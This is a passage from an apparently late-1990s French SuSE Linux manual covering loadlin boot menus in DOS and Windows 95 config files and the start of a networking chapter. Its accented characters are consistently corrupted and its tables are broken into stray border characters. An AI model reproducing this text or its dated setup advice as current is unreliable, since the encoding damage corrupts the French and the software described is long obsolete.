  9547.                            | root=/dev/xxx            #  le  pΘripherique  sera  montΘ                                             *
  9548.  *         |
  9549.                            |                                                                                                       *
  9550.  *         |
  9551.                            |                                   #  comme  systΦme  de  fichiers  racine  (root)                     *
  9552.  *         |
  9553.                            |                                                                                                       *
  9554.  *         |
  9555.                            |                                                                                                       *
  9556.  *         |
  9557.                            | ro                               #  monte  root  en  lecture  seule  (read  only)                     *
  9558.  *         |
  9559.                            |_______________________________________________________________________________________________________*
  9560.  *________ |
  9561.  
  9562.                            fichier 4.9.2: Exemple d'un fichier de paramΦtres pour le dΘmarrage de Linux
  9563.  
  9564.  
  9565.                                  └ la place de xxx   , vous entrerez le nom du pΘriphΘrique de votre parti-
  9566.                                  tion racine (vous aviez dΘjα notΘ ce nom par Θcrit au paragraphe 2.10.2
  9567.                                  page 77). Vous n'avez besoin de l'entrΘe initrd       que si vous devez par
  9568.                                  exemple charger en plus le support SCSI directement lors de l'amorτage
  9569.                                  (au sujet du concept du disque virtuel initial (angl. initial ramdisk), voir
  9570.                                  le paragraphe 16.2 page 424). Avec le fichier startlin.bat, vous pou-
  9571.                                  vez α tout moment lancer Linux α l'invite du DOS. Le fichier linux.par
  9572.                                  est utilisΘ aussi bien par startlin.bat que par config.sys et contient
  9573.                                  tous les paramΦtres indispensables au lancement de Linux. Lorsque vous
  9574.                                  serez familiarisΘ avec Linux, vous pourrez ajouter et/ou remplacer des pa-
  9575.                                  ramΦtres dans linux.par. Lorsque vous aurez plus tard construit votre
  9576.                                  propre noyau, vous le copierez α partir du systΦme de fichiers Linux vers
  9577.                                  c  :\loadlin\zimage                et c'est dΘsormais ce noyau qui sera lancΘ. En cas
  9578.                                  de besoin, vous devrez aussi y placer un initrd       nouvellement gΘnΘrΘ.
  9579.  
  9580.  
  9581.                            4.9.2      CrΘation de menus de dΘmarrage
  9582.  
  9583.                            Voici  comment  procΘder  pour  crΘer  un  menu  de  dΘmarrage  sous  DOS  ou
  9584.                            Windows 3.x :
  9585.  
  9586.  
  9587. 144
  9588.        ______________________________________________4.9.__Construire_un_mΘcanisme_d'amorτage_avec_loadlin_________________________*
  9589.  *______________________
  9590.  
  9591.  
  9592.  
  9593.  1.   Vous  devez  tout  d'abord  dΘfinir  un  menu  de  dΘmarrage  dans  le  fichier
  9594.       c  :\config.sys           .  Pour  cela,  faites  des  entrΘes  analogues  α  celles  du
  9595.       fichier 4.9.3.
  9596.        _______________________________________________________________________________________________________________________||
  9597.        |||||||| [Menu]                                                                                                         |
  9598.        |||||||| menuitem=Win,  DΘmarrer  Windows  ...                                                                          |
  9599.        ||||||||                                                                                                                |
  9600.        |||||||| menuitem=DOS,  DΘmarrer  MS-DOS  ...                                                                           |
  9601.        |||||||| menuitem=Linux,  DΘmarrer  Linux  ...                                                                          |
  9602.        ||||||||                                                                                                                |
  9603.        |||||||| menucolor=15,1                                                                                                 |
  9604.        |||||||| menudefault=Win,5                                                                                              |
  9605.        ||||||||_______________________________________________________________________________________________________________ |
  9606.  
  9607. fichier 4.9.3: Exemple pour config.sys           (1Φre partie) pour le lancement de
  9608. Linux
  9609.  
  9610.  
  9611.       Sous le label [Menu]      , vous dΘfinirez les entrΘes du menu de dΘmarrage
  9612.       ainsi que sa couleur et vous prΘciserez au bout de combien de secondes
  9613.       quelle option du menu devra Ωtre automatiquement activΘe.
  9614.  
  9615.  2.   Plus bas, vous ajouterez les labels [Common]       , [Win]     , [DOS]      et [Linux]      .
  9616.       Pour Common, vous Θcrirez les entrΘes qui devront toujours Ωtre valables
  9617.       et pour les autres labels, les entrΘes qui ne seront valables que pour une
  9618.       option  prΘcise.  Utilisez  pour  cela  les  lignes  qui  se  trouvent  dans  votre
  9619.       config.sys|actuel. Le fichier 4.9.4 vous montre un exemple.                                                              |
  9620.  
  9621.        _______________________________________________________________________________________________________________________||||
  9622.        |||||||| [Common]                                                                                                       |
  9623.        |||||||| device=c:\dos\himem.sys  /testmem:off                                                                          |
  9624.        ||||||||                                                                                                                |
  9625.        |||||||| device=c:\dos\emm386.exe  noems                                                                                |
  9626.        |||||||| dos=high,umb                                                                                                   |
  9627.        ||||||||                                                                                                                |
  9628.        |||||||| files=30                                                                                                       |
  9629.        |||||||| buffers=10                                                                                                     |
  9630.        ||||||||                                                                                                                |
  9631.        |||||||| shell=c:\dos\command.com                                                                                       |
  9632.        ||||||||                                                                                                                |
  9633.        |||||||| [Win]                                                                                                          |
  9634.        ||||||||                                                                                                                |
  9635.        |||||||| devicehigh=c:\dos\dblspace.sys  /move                                                                          |
  9636.        |||||||| devicehigh=c:\cd\slcd.sys  /D:SONY_000  /B:340  /M:P  /V  /C                                                   |
  9637.        ||||||||                                                                                                                |
  9638.        ||||||||                                                                                                                |
  9639.        |||||||| [DOS]                                                                                                          |
  9640.        ||||||||                                                                                                                |
  9641.        |||||||| devicehigh=c:\dos\dblspace.sys  /move                                                                          |
  9642.        |||||||| devicehigh=c:\cd\slcd.sys  /D:SONY_000  /B:340  /M:P  /V  /C                                                   |
  9643.        ||||||||                                                                                                                |
  9644.        ||||||||                                                                                                                |
  9645.        |||||||| [Linux]                                                                                                        |
  9646.        ||||||||                                                                                                                |
  9647.        |||||||| shell=c:\loadlin\loadlin.exe  @c:\loadlin\linux.par                                                            |
  9648.        ||||||||                                                                                                                |
  9649.        ||||||||                                                                                                                |
  9650.        |||||||| [Common]                                                                                                       |
  9651.        |||||||| rem  Reste  vide                                                                                               |
  9652.        ||||||||_______________________________________________________________________________________________________________ |
  9653.  
  9654. fichier 4.9.4: Exemple pour config.sys          (2Φme partie) pour le lancement de
  9655. Linux
  9656.  
  9657.  
  9658.       Stockez ensuite le fichier en mΘmoire.
  9659.  
  9660.  3.   Ouvrez maintenant le fichier c  :\autoexec.bat              . Dans ce fichier, vous
  9661.       devez Θcrire les mΩmes labels et leur attribuer des entrΘes mais la notation
  9662.  
  9663.  
  9664.                                                                                                                                    *
  9665.  *   145
  9666. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  9667.  *_______________________________________@
  9668.  
  9669.  
  9670.  
  9671.                                  est  quelque  peu  diffΘrente.  Le  label  qui  a  ΘtΘ  choisi  dans  le  menu  de
  9672.                            |     dΘmarrage est inclus dans la variable %config%. ╔crivez quelque chose                             *
  9673.  *         |
  9674.                            |     qui sera peut-Ωtre similaire au contenu du fichier 4.9.5.                                         *
  9675.  *         |
  9676.                            |                                                                                                       *
  9677.  *         |
  9678.                            ________________________________________________________________________________________________________*
  9679.  *________||
  9680.                            | @echo  off                                                                                            *
  9681.  *         |
  9682.                            |                                                                                                       *
  9683.  *         |
  9684.                            |                                                                                                       *
  9685.  *         |
  9686.                            | rem  EntrΘes  pour  toutes  les  configurations                                                       *
  9687.  *         |
  9688.                            | switches=  /f                                                                                         *
  9689.  *         |
  9690.                            |                                                                                                       *
  9691.  *         |
  9692.                            | set  comspec=c:\dos\command.com                                                                       *
  9693.  *         |
  9694.                            | prompt  $p$g                                                                                          *
  9695.  *         |
  9696.                            |                                                                                                       *
  9697.  *         |
  9698.                            | loadhigh  c:\dos\keyb  gr,,c:\dos\keyboard.sys                                                        *
  9699.  *         |
  9700.                            | loadhigh  c:\dos\doskey                                                                               *
  9701.  *         |
  9702.                            |                                                                                                       *
  9703.  *         |
  9704.                            | set  temp=c:\temp                                                                                     *
  9705.  *         |
  9706.                            | loadhigh  c:\dos\mscdex.exe  /D:SONY_000  /E  /V  /L:H                                                *
  9707.  *         |
  9708.                            |                                                                                                       *
  9709.  *         |
  9710.                            | c:\logimaus\mouse.exe                                                                                 *
  9711.  *         |
  9712.                            |                                                                                                       *
  9713.  *         |
  9714.                            |                                                                                                       *
  9715.  *         |
  9716.                            | goto  %config%                                                                                        *
  9717.  *         |
  9718.                            |                                                                                                       *
  9719.  *         |
  9720.                            | :Win                                                                                                  *
  9721.  *         |
  9722.                            |                                                                                                       *
  9723.  *         |
  9724.                            | c:\dos\smartdrv.exe  a-  b-  c+  2048  1024                                                           *
  9725.  *         |
  9726.                            | path  c:\windows;c:\dos;c:\util;                                                                      *
  9727.  *         |
  9728.                            |                                                                                                       *
  9729.  *         |
  9730.                            | win                                                                                                   *
  9731.  *         |
  9732.                            | c:\dos\smartdrv  /C                                                                                   *
  9733.  *         |
  9734.                            |                                                                                                       *
  9735.  *         |
  9736.                            | goto  ende                                                                                            *
  9737.  *         |
  9738.                            |                                                                                                       *
  9739.  *         |
  9740.                            |                                                                                                       *
  9741.  *         |
  9742.                            | :DOS                                                                                                  *
  9743.  *         |
  9744.                            | path  c:\dos;c:\util;                                                                                 *
  9745.  *         |
  9746.                            |                                                                                                       *
  9747.  *         |
  9748.                            | goto  ende                                                                                            *
  9749.  *         |
  9750.                            |                                                                                                       *
  9751.  *         |
  9752.                            |                                                                                                       *
  9753.  *         |
  9754.                            | :ende                                                                                                 *
  9755.  *         |
  9756.                            | echo  *  Au  revoir  *                                                                                *
  9757.  *         |
  9758.                            |_______________________________________________________________________________________________________*
  9759.  *________ |
  9760.  
  9761.                                fichier 4.9.5: Exemple pour autoexec.bat            pour le lancement de Linux
  9762.  
  9763.  
  9764.  
  9765.                             4.   Si  vous  amorcez  maintenant  votre  machine,  le  menu  de  dΘmarrage  ap-
  9766.                                  paraεt  et  vous  avez  5  secondes  pour  sΘlectionner  une  entrΘe.  Au  bout
  9767.                                  de 5 secondes, Windows dΘmarrera automatiquement. Si vous choisissez
  9768.                                  `Linux', Linux dΘmarre et attend votre login.
  9769.  
  9770.  
  9771.                            4.9.3      DΘmarrage α partir de Windows
  9772.  
  9773.                            ProcΘdez ainsi afin de crΘer une ic⌠ne de dΘmarrage qui vous servira α amor-
  9774.                            cer Linux α partir d'un systΦme Windows 95 en cours d'exΘcution.
  9775.  
  9776.  
  9777.                             1.   Cliquez dans le dossier c  :\loadlin         , marquez le fichier startlin.bat
  9778.                                  et sΘlectionnez `Copier' dans le menu `╔dition'.
  9779.  
  9780.                             2.   Passez maintenant dans un dossier ou sur un bureau, selon l'emplacement
  9781.                                  que vous avez prΘvu pour votre ic⌠ne Linux. pressez le bouton droit de la
  9782.                                  souris et sΘlectionnez `CrΘer  un  lien'.
  9783.  
  9784.                             3.   Marquez le lien qui vient d'Ωtre ajoutΘ, pressez le bouton droit de la sou-
  9785.                                  ris et sΘlectionnez `CrΘer  un  lien'. Passez au registre `Programme',
  9786.  
  9787.  
  9788. 146
  9789.        ______________________________________________4.9.__Construire_un_mΘcanisme_d'amorτage_avec_loadlin_________________________*
  9790.  *______________________
  9791.  
  9792.  
  9793.  
  9794.       cliquez en bas sur le bouton `╔tendue'. Marquez d'une croix, dans le
  9795.       masque, le champ `Mode  MS-DOS'. Validez avec `OK'.
  9796.  
  9797.  4.   └  l'aide  du  bouton  `Autre  symbole',  vous  pouvez  choisir  une  belle
  9798.       ic⌠ne et donner au lien un nom adΘquat. Vous avez maintenant terminΘ !
  9799.  
  9800.  5.   Un  double  clic  sur  le  nouveau  symbole  fait  apparaεtre  un  masque  qui
  9801.       confirme que Windows 95 s'efforce de passer en mode MS-DOS. Si ce
  9802.       masque vous Θnerve : dΘsactivez-le dans les propriΘtΘs du lien.
  9803.  
  9804.  
  9805. 4.9.4      Le menu de dΘmarrage Windows
  9806.  
  9807. Vous procΘderez ainsi pour crΘer un menu de dΘmarrage pour Windows 95 :
  9808.  
  9809.  1.   Vous devez tout d'abord Θditer le fichier c  :\msdos.sys           . Pour cela vous
  9810.       le rendrez visible au moyen de
  9811.  
  9812.       C  :>  attrib  -R  -S  -H  c  :\msdos.sys
  9813.  
  9814.       C'est  un  fichier  texte  auquel  vous  devrez  ajouter  quelques  lignes  pour
  9815.       activer  le  menu  de  dΘmarrage  propre  α  Windows  95.  Sous  le  label
  9816.       [Options]        , cela devrait avoir plus ou moins l'aspect du fichier 4.9.6.
  9817.  
  9818.        _______________________________________________________________________________________________________________________||
  9819.        |||||||| [Options]                                                                                                      |
  9820.        |||||||| BootGUI=0                                                                                                      |
  9821.        ||||||||                                                                                                                |
  9822.        |||||||| BootDelay=0                                                                                                    |
  9823.        |||||||| BootMenu=0                                                                                                     |
  9824.        ||||||||                                                                                                                |
  9825.        |||||||| Logo=0                                                                                                         |
  9826.        ||||||||_______________________________________________________________________________________________________________ |
  9827.  
  9828.                  fichier 4.9.6: msdos.sys         pour le lancement de Linux
  9829.  
  9830.  
  9831.       Le  paramΦtre  Logo=0      est  optionnel  et  empΩche  Windows  95  de  passer,
  9832.       avant l'amorτage, en mode graphique. L'amorτage se fait plus rapidement
  9833.       et vous aurez moins d'ennuis si vous voulez utiliser plus tard, sous Linux,
  9834.       l'Θmulateur DOS.
  9835.  
  9836.       Le  paramΦtre  BootGUI=0         amΦne  Windows  95  α  passer  directement  en
  9837.       mode DOS. AprΦs avoir ΘditΘ les fichiers, vous remettrez les attributs dans
  9838.       leur Θtat d'origine. Pour que Windows dΘmarre, l'entrΘe
  9839.  
  9840.       C  :>  win
  9841.  
  9842.       doit Ωtre faite α l'invite du DOS. Mais c'est ce que fait dΘjα notre fichier
  9843.       exemple c  :\autoexec.bat               si vous avez choisi Win95 dans le menu.
  9844.  
  9845.  2.   Vous devrez ensuite dΘfinir votre propre menu de dΘmarrage dans le fi-
  9846.       chier c  :\config.sys            . Pour cela, vous pouvez mettre, par exemple au
  9847.       dΘbut du fichier, le contenu du fichier 4.9.7.
  9848.  
  9849.        _______________________________________________________________________________________________________________________||
  9850.        |||||||| [Menu]                                                                                                         |
  9851.        |||||||| menuitem=Win95,  dΘmarrer  Windows  95  ...                                                                    |
  9852.        ||||||||                                                                                                                |
  9853.        |||||||| menuitem=DOS,  dΘmarrer  MS-DOS  ...                                                                           |
  9854.        |||||||| menuitem=Linux,  dΘmarrer  Linux  ...                                                                          |
  9855.        ||||||||                                                                                                                |
  9856.        |||||||| menudefault=Win95,5                                                                                            |
  9857.        ||||||||_______________________________________________________________________________________________________________ |
  9858.  
  9859. fichier 4.9.7: Exemple pour config.sys           (1Φre partie) pour le lancement de
  9860. Linux sous Windows 95
  9861.  
  9862.  
  9863.                                                                                                                                    *
  9864.  *   147
  9865. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  9866.  *_______________________________________@
  9867.  
  9868.  
  9869.  
  9870.                                  Sous le label [Menu]      , vous dΘfinirez les entrΘes du menu de dΘmarrage et
  9871.                                  vous prΘciserez au bout de combien de secondes quelle option du menu
  9872.                                  devra Ωtre automatiquement activΘe.
  9873.  
  9874.                             3.   Plus  loin,  en  bas,  se  trouvent  les  labels  [Win95]      ,  [DOS]    ,  [Linux]        et
  9875.                                  [Common]       . Pour [Common]       , vous Θcrirez les entrΘes qui devront toujours
  9876.                                  Ωtre  valables  (sous  Windows  95  elles  sont  peu  nombreuses).  Pour  les
  9877.                                  autres labels, les entrΘes qui ne sont valables que pour une option prΘcise
  9878.                                  du menu de dΘmarrage. Utilisez pour cela les lignes qui se trouvent dans
  9879.                                  votre config.sys actuel. L'exemple donnΘ dans le fichier 4.9.8 est une
  9880.                                  simple suggestion.
  9881.  
  9882.                            ________________________________________________________________________________________________________*
  9883.  *________||||
  9884.                            | [Win95]                                                                                               *
  9885.  *         |
  9886.                            | dos=high,umb                                                                                          *
  9887.  *         |
  9888.                            |                                                                                                       *
  9889.  *         |
  9890.                            | device=c:\windows\himem.sys  /testmem:off                                                             *
  9891.  *         |
  9892.                            |                                                                                                       *
  9893.  *         |
  9894.                            |                                                                                                       *
  9895.  *         |
  9896.                            | [DOS]  device=c:\plugplay\drivers\dos\dwcfgmg.sys                                                     *
  9897.  *         |
  9898.                            | dos=high,umb                                                                                          *
  9899.  *         |
  9900.                            |                                                                                                       *
  9901.  *         |
  9902.                            | device=c:\windows\himem.sys  /testmem:off                                                             *
  9903.  *         |
  9904.                            | device=c:\windows\emm386.exe  noems  I=B000-B7FF                                                      *
  9905.  *         |
  9906.                            |                                                                                                       *
  9907.  *         |
  9908.                            | devicehigh=c:\cdrom\torisan.sys  /D:TSYCD3  /P:SM                                                     *
  9909.  *         |
  9910.                            |                                                                                                       *
  9911.  *         |
  9912.                            |                                                                                                       *
  9913.  *         |
  9914.                            | [Linux]                                                                                               *
  9915.  *         |
  9916.                            | shell=c:\loadlin\loadlin.exe  @c:\loadlin\linux.par                                                   *
  9917.  *         |
  9918.                            |                                                                                                       *
  9919.  *         |
  9920.                            |                                                                                                       *
  9921.  *         |
  9922.                            | [Common]                                                                                              *
  9923.  *         |
  9924.                            | accdate=C+  D+  H+                                                                                    *
  9925.  *         |
  9926.                            |                                                                                                       *
  9927.  *         |
  9928.                            | switches=  /F  buffers=20                                                                             *
  9929.  *         |
  9930.                            |_______________________________________________________________________________________________________*
  9931.  *________ |
  9932.  
  9933.                            fichier 4.9.8: Exemple pour config.sys          (2Φme partie) pour le lancement de
  9934.                            Linux sous Windows 95
  9935.  
  9936.  
  9937.                                  Sauvegardez ensuite le fichier.
  9938.  
  9939.                             4.   └  prΘsent,  ouvrez  le  fichier  c  :\autoexec.bat             .  Dans  ce  fichier,  vous
  9940.                                  devez  Θcrire  les  mΩmes  labels  et  attribuer  des  entrΘes  α  ces  labels.  La
  9941.                                  notation est maintenant quelque peu diffΘrente. Le label qui a ΘtΘ choisi
  9942.                                  dans le menu de dΘmarrage est inclus dans la variable %config%. Ecrivez
  9943.                                  quelque  chose  qui  sera  peut-Ωtre  similaire  au  contenu  du  fichier  4.9.5
  9944.                                  page 146.
  9945.  
  9946.                             5.   Si vous amorcez maintenant votre machine, vous verrez apparaεtre votre
  9947.                                  propre menu de dΘmarrage. Vous aurez 5 secondes pour faire votre choix.
  9948.                                  Ensuite  Windows  95  dΘmarrera  automatiquement.  Si  vous  sΘlectionnez
  9949.                                  `Linux', Linux dΘmarre et attend votre login.
  9950.  
  9951.  
  9952.  
  9953. 148
  9954.        ______________________________________________4.9.__Construire_un_mΘcanisme_d'amorτage_avec_loadlin_________________________*
  9955.  *______________________
  9956.  
  9957.        ||||||||                                                                                                                |
  9958.        _______________________________________________________________________________________________________________________||||
  9959.        |||||||| @echo  off                                                                                                     |
  9960.        |||||||| loadhigh  keyb  gr,,c:\windows\command\keyboard.sys                                                            |
  9961.        ||||||||                                                                                                                |
  9962.        |||||||| goto  %config%                                                                                                 |
  9963.        ||||||||                                                                                                                |
  9964.        |||||||| :Win95                                                                                                         |
  9965.        ||||||||                                                                                                                |
  9966.        |||||||| win                                                                                                            |
  9967.        |||||||| goto  ende                                                                                                     |
  9968.        ||||||||                                                                                                                |
  9969.        ||||||||                                                                                                                |
  9970.        |||||||| :DOS                                                                                                           |
  9971.        ||||||||                                                                                                                |
  9972.        |||||||| path  c:.;d:.;c:\windows\command;c:\util;                                                                      |
  9973.        |||||||| loadhigh  c:\windows\command\mscdex.exe  /D:TSYCD3  /L:x                                                       |
  9974.        ||||||||                                                                                                                |
  9975.        |||||||| loadhigh  c:\windows\command\doskey                                                                            |
  9976.        |||||||| c:\windows\command\mouse.exe                                                                                   |
  9977.        ||||||||                                                                                                                |
  9978.        |||||||| goto  ende                                                                                                     |
  9979.        ||||||||                                                                                                                |
  9980.        ||||||||                                                                                                                |
  9981.        |||||||| :ende                                                                                                          |
  9982.        |||||||| echo  *  Et  maintenant?  *                                                                                    |
  9983.        ||||||||_______________________________________________________________________________________________________________ |
  9984.  
  9985. fichier 4.9.9: Exemple pour autoexec.bat            pour le lancement de Linux sous
  9986. Windows 95
  9987.  
  9988.                                                                                                                                    *
  9989.  *   149
  9990. 4.  Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
  9991.  *_______________________________________@
  9992.  
  9993. 150
  9994.  
  9995.                      TroisiΦme  partie
  9996.  
  9997.  
  9998. Configuration   du   rΘseau
  9999.  
  10000.  
  10001.                                                                                                                              151
  10002.  
  10003.  
  10004.                                                                                                            Chapitre  5
  10005.                                                         En   rΘseau   avec   Linux
  10006.  
  10007.  
  10008.  
  10009. Remarques prΘliminaires sur les connexions rΘseau
  10010.  
  10011.  
  10012. └ notre Θpoque qui est l'Φre de la communication, le nombre de machines in-
  10013. terconnectΘes s'est α ce point accru qu'il est de plus en plus rare de rencontrer
  10014. un ordinateur isolΘ qui ne soit pas, au moins temporairement, reliΘ α un rΘ-
  10015. seau. VΘritable enfant d'Internet, Linux remplit toutes les conditions requises
  10016. pour jouer un r⌠le dans le domaine de la communication et fournit tous les
  10017. outils nΘcessaires α une intΘgration dans des rΘseaux de diverses structures.
  10018.  
  10019. Dans ce chapitre, nous allons vous donner un aperτu de toutes les opΘrations
  10020. α effectuer pour l'Θtablissement et le maintien d'une connexion rΘseau. Nous
  10021. aborderons  la  question  des  fichiers  centraux  de  configuration  et  nous  vous
  10022. prΘsenterons les outils essentiels.
  10023.  
  10024. Nous allons d'abord vous montrer comment intΘgrer une machine Linux dans
  10025. un +  LAN dΘjα existant et comment mettre en place un petit +  rΘseau consti-
  10026. tuΘ de machines Linux. Nous parlerons ensuite de la connexion par modem
  10027. α  d'autres  machines.  Il  vous  sera  expliquΘ  comment  Θtablir  une  connexion
  10028. Internet  via  PPP.  Un  paragraphe  assez  long  est  consacrΘ  α  la  configuration
  10029. ISDN1 . Nous parlerons aussi de la configuration du systΦme de mails et de
  10030. news et pour conclure, nous vous prΘsenterons un systΦme de fax sous Linux.
  10031.  
  10032. La  quasi-totalitΘ  de  la  configuration  rΘseau  peut  Ωtre  effectuΘe  avec  YaST
  10033. (voir paragraphe 3.6 page 100 et paragraphe 17.6 page 451). Mais comme la
  10034. configuration  d'un  rΘseau  peut  devenir  trΦs  complexe,  nous  dΘcrirons  aussi
  10035. dans ce chapitre les mΘcanismes de base ainsi que les fichiers qui jouent un
  10036. r⌠le essentiel dans la configuration du rΘseau.
  10037. Et maintenant bon voisinage ~ la connexion au LAN
  10038.  
  10039.  
  10040. Il n'est absolument pas problΘmatique d'intΘgrer une machine Linux dans un
  10041. LAN constituΘ de machines Unix parmi lesquelles il peut bien s√r aussi se
  10042. trouver d'autres machines Linux. Il y a bien quelques conditions (peu nom-
  10043. breuses) α remplir mais elles ne reprΘsentent pas une restriction fondamentale
  10044. α l'utilisation de Linux dans un environnement rΘseau.
  10045.  
  10046. 1      ____________________________________________________
  10047.   N.d.l.T : dans le monde francophone RNIS.
  10048.  
  10049.  
  10050.                                                                                                                                    *
  10051.  *   153
  10052. 5.  En rΘseau avec_Linux___________________________________________________________________________________________________________*
  10053.  *_______________________________________@
  10054.  
  10055.  
  10056.  
  10057.                            Conditions et travaux prΘalables
  10058.                            Linux supporte maintenant une palette trΦs variΘe de cartes rΘseau ~ Ethernet,
  10059.  
  10060.                            Arcnet, TokenRing ~ et connaεt presque tous les protocoles rΘseau courants
  10061.                            ~ TCP/IP, IPX, AppleTalk. Une description de toutes les configurations thΘo-
  10062.                            riquement possibles dΘpasserait de loin le cadre de ce chapitre. Nous traite-
  10063.                            rons donc le cas normal de l'intΘgration dans un rΘseau TCP/IP d'une ma-
  10064.                            chine Linux dotΘe d'une carte Ethernet. Vous trouverez les derniΦres infor-
  10065.                            mations  concernant  d'autres  rΘseaux  dans  le  rΘpertoire  /usr/src/linux/
  10066.                            Documentation  des  sources  du  noyau.  La  fonction  d'aide  vous  fournit  en
  10067.                            outre, lors de la configuration du noyau, de prΘcieuses informations complΘ-
  10068.                            mentaires
  10069.  
  10070.                            Les conditions suivantes doivent Ωtre remplies :
  10071.  
  10072.                              ~   La machine doit disposer d'une carte rΘseau supportΘe. Vous pourrez voir
  10073.                                  que la carte a ΘtΘ reconnue correctement si la sortie de la commande
  10074.                                       terre:~  #  /sbin/ifconfig
  10075.  
  10076.                                  contient une ligne commenτant par eth0  :     .
  10077.                            ________________________________________________________________________________________________________*
  10078.  *________||||
  10079.                            |                                                                                                       *
  10080.  *        |||
  10081.                            |  Si  le  noyau  utilise  un  module  pour  le  support  de  la  carte  rΘseau  ~                      *
  10082.  *        |||
  10083.                            |  c'est  ainsi  que  les  noyaux  SuSE      vous  sont  fournis  de  faτon  standard                   *
  10084.  *        |||
  10085.                            |                                                                                                       *
  10086.  *        |||
  10087.                            |  ~,  le  nom  du  module  doit  Ωtre  inscrit  sous  forme  d'alias  dans  le  fichier                *
  10088.  *        |||
  10089.                            |  /etc/modules.conf.  Pour  votre  permiΦre  carte  par  exemple  dans  ce                             *
  10090.  *        |||
  10091.                            |                                                                                                       *
  10092.  *        |||
  10093.                            |  style :                                                                                              *
  10094.  *        |||
  10095.                            |                                                                                                       *
  10096.  *        |||
  10097.                            |                                                                                                       *
  10098.  *        |||
  10099.                            |  alias  eth0  tulip                                                                                   *
  10100.  *        |||
  10101.                            |                                                                                                       *
  10102.  *        |||
  10103.                            |                                                                                                       *
  10104.  *        |||
  10105.                            |  Ceci  aura  lieu  automatiquement  si  le  support  pour  la  carte  rΘseau  a  ΘtΘ                  *
  10106.  *        |||
  10107.                            |                                                                                                       *
  10108.  *        |||
  10109.                            |  chargΘ  sous  Linuxrc  durant  la  premiΦre  installation.  Par  la  suite,  cette                   *
  10110.  *        |||
  10111.                            |  procΘdure pourra Ωtre effectuΘe α partir de YaST   (voir paragraphe 3.6.1                            *
  10112.  *        |||
  10113.                            |                                                                                                       *
  10114.  *        |||
  10115.                            |  page 100).                                                                                           *
  10116.  *        |||
  10117.                            |_______________________________________________________________________________________________________*
  10118.  *________|||_
  10119.  
  10120.                            Ces conditions Θtant remplies, nous allons maintenant, avant de passer α la
  10121.                            configuration  du  rΘseau,  vous  donner  une  explication  succincte  des  termes
  10122.                            employΘs dans le tableau 5.1 page 156.
  10123.  
  10124.                             _______________________________________________________________________________________________________*
  10125.  *_________
  10126.  
  10127.                               Nom    de    ma-            Nom d'h⌠te que la machine doit avoir dans le rΘseau,
  10128.                               chine                       par  exemple  terre    .  Ce  nom  ne  doit  pas  comporter
  10129.                                                           plus  de  huit  caractΦres  et  ne  doit  pas  avoir  dΘjα  ΘtΘ
  10130.                                                           attribuΘ dans le rΘseau local.
  10131.  
  10132.                             _______________________________________________________________________________________________________*
  10133.  *_________
  10134.  
  10135.                                                       Tab. 5.1: Continuer α la page suivante...
  10136.  
  10137.  
  10138.  
  10139. 154
  10140.     ______________________________________________________________________________________________5.__En_rΘseau_avec_Linux_________*
  10141.  *___________________
  10142.  
  10143.     ______________________________________________________________________________________________________________________
  10144.  
  10145.  
  10146. Nom    de    do-            Nom du domaine auquel doit appartenir la machine.
  10147. maine                       Les domaines servent α la structuration de grands rΘ-
  10148.                             seaux.  On  accΦde  α  une  machine  en  spΘcifiant  son
  10149.                             nom de domaine pleinement qualifiΘ (angl. fully qua-
  10150.                             lified  domain  name  (FQDN)).  Celui-ci  comprend  le
  10151.                             nom de la machine, le nom du domaine et le nom du
  10152.                             domaine de premier niveau (angl. top-level domain).
  10153.                             Ainsi,  par  exemple,  terre.cosmos.univers                   est  la
  10154.                             machine  terre     dans  le  domaine  cosmos.univers            .
  10155.                             Le domaine de premier niveau est constituΘ de quatre
  10156.                             lettres au maximum. L'exemple pour un nom de do-
  10157.                             maine pleinement qualifiΘ est Nom de machine.Nom
  10158.                             de domaine.Domaine de premier niveau.
  10159. Adresse IP                  L'adresse  de  la  machine  dans  le  rΘseau.  Toute  ma-
  10160.                             chine en rΘseau possΦde pour chaque interface rΘseau
  10161.                             (par  exemple  carte  rΘseau  ou  carte  ISDN)  au  moins
  10162.                             une adresse qui ne prΘsente aucune ambigu∩tΘ dans le
  10163.                             rΘseau.  Selon  la  norme  standard  actuellement  en  vi-
  10164.                             gueur,  cette  adresse  est  constituΘe  par  une  sΘquence
  10165.                             de quatre octets sΘparΘs normalement par des points ~
  10166.                             par exemple 192.168.0.20           .
  10167.                             En choisissant des adresses IP, vous devez avoir prΘ-
  10168.                             sent  α  l'esprit  que  le  rΘseau  local  devra  peut-Ωtre  un
  10169.                             jour  Ωtre  connectΘ  α  Internet.  En  prΘvision  de  cette
  10170.                             ΘventualitΘ, nous vous conseillons d'utiliser dΦs le dΘ-
  10171.                             part des adresses IP enregistrΘes.
  10172.                             Pour un rΘseau purement privΘ, le document de travail
  10173.                             RFC  1597  prΘvoit  trois  zones  d'adresses  qui  garan-
  10174.                             tissent  que  mΩme  dans  le  cas  o∙  une  connexion  In-
  10175.                             ternet serait Θtablie par inadvertance il ne surviendra
  10176.                             aucun problΦme car elles ne seront pas routΘes entre
  10177.                             les systΦmes Internet. Ces zones d'adresses sont :
  10178.  
  10179.                                10.0.0.0          )      10.255.255.255          (Class A)
  10180.                                172.16.0.0        )      172.31.255.255          (Class B)
  10181.                                192.168.0.0       )      192.168.255.255         (Class C)
  10182.  
  10183.  
  10184.                             Certaines adresses IP ne sont pas destinΘes α Ωtre at-
  10185.                             tribuΘes α des machines. Elles ont des fonctions spΘ-
  10186.                             ciales comme par exemple 192.168.0.0           qui est prΘ-
  10187.                             vue pour le rΘseau lui-mΩme et 192.168.0.255             qui
  10188.                             est l'adresse de diffusion (angl. broadcast address) α
  10189.                             utiliser pour le rΘseau.
  10190.  
  10191.     ______________________________________________________________________________________________________________________
  10192.  
  10193.                         Tab. 5.1: Continuer α la page suivante...
  10194.  
  10195.  
  10196.  
  10197.                                                                                                                                    *
  10198.  *155
  10199. 5.  En rΘseau avec_Linux___________________________________________________________________________________________________________*
  10200.  *_______________________________________@
  10201.  
  10202.                             _______________________________________________________________________________________________________*
  10203.  *_________
  10204.  
  10205.  
  10206.                               Adresse de pas-             Si  vous  avez  dans  votre  rΘseau  une  machine  faisant
  10207.                               serelle                     office de passerelle (angl. gateway),  c'est-α-dire une
  10208.                                                           machine reliΘe α plus d'un rΘseau et qui se charge de la
  10209.                                                           transmission de paquets dans le rΘseau Θtranger, vous
  10210.                                                           pouvez indiquer son adresse lors de votre configura-
  10211.                                                           tion rΘseau.
